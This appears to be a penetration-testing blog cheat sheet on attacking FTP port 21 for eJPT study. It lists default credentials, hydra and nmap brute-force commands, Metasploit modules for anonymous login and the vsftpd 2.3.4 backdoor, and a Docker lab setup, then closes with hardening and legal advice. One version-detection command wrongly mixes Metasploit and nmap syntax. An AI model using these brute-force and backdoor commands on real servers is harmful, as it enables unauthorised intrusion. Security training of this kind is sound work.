🟢FTP 21

How to attack File Transfer Protocol port 21

Today I will share some basic commands used to attack the FTP service on eJPT Certification, if you want to learn more about Hacking FTP Server read section dedicated to it.

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What is the FTP Protocol?

Default Credentials

guest:guest
anonymous:anonymous

Version Detection

use exploit/unix/ftp/tftp-enum.nse
set RHOSTS 
set RPORT 21

How to Brute force FTP Services

hydra -l admin -P Top_100_Passwords.txt ftp://localhost/

nmap --script ftp-brute -p 21 --script-args userdb=/root/Top_10_UserAdmins.txt,passdb=root/Top_100_Passwords.txt <IP>

msf6 > use auxiliary/scanner/ftp/anonymous

set RHOSTS nerdherd.thm
set RPORT 21
run

How to Exploit vsftpd 2.3.4 Backdoor

use exploit/unix/ftp/vsftpd_234_backdoor

Nmap NSE Scripts for FTP

┌──(rfs㉿PopLabSec)-[~]
└─$ ls -la /usr/share/nmap/scripts | grep -e "ftp"
-rw-r--r-- 1 root root   4530 Jan 18 09:54 ftp-anon.nse
-rw-r--r-- 1 root root   3253 Jan 18 09:54 ftp-bounce.nse
-rw-r--r-- 1 root root   3108 Jan 18 09:54 ftp-brute.nse
-rw-r--r-- 1 root root   3272 Jan 18 09:54 ftp-libopie.nse
-rw-r--r-- 1 root root   3290 Jan 18 09:54 ftp-proftpd-backdoor.nse
-rw-r--r-- 1 root root   3768 Jan 18 09:54 ftp-syst.nse
-rw-r--r-- 1 root root   6021 Jan 18 09:54 ftp-vsftpd-backdoor.nse
-rw-r--r-- 1 root root   5923 Jan 18 09:54 ftp-vuln-cve2010-4221.nse
-rw-r--r-- 1 root root   5736 Jan 18 09:54 tftp-enum.nse

PopLabSecPopLabSec

PopLabSecPopLabSec

Setting Up FTP Server for Penetration Testing

To set up an FTP server environment for testing the vulnerability, you can use Docker or setup an environment manually:

docker run -d -p 21:21 -p 20:20 -p 21000-21010:21000-21010 --name ftp_server fauria/vsftpd

Securing the FTP Service

Once the vulnerabilities are identified and exploited, as a responsible security professional, it is important to secure the FTP server:

• Change the default credentials.

• Disable anonymous access if it's not necessary.

• Use strong passwords and employ password management policies.

• Keep FTP server software up to date with the latest security patches.

• Consider using secure versions like SFTP (SSH File Transfer Protocol) or FTPS (FTP Secure) which provide encryption.

Legal and Ethical Considerations

Before engaging in any penetration testing activity, always:

• Get explicit written permission from the owner of the FTP server.

• Follow the scope of the agreed terms and conditions to avoid legal issues.

• Be ethical and responsible with the data and access privileges obtained during testing.

• Report all findings to the server owner and provide recommendations for securing their systems.

Conclusion

FTP, being one of the oldest file transfer protocols, is vulnerable to various attacks. Use this guide responsibly, always within the legal frameworks, and contribute to a more secure digital environment.

FTP Penetration Testing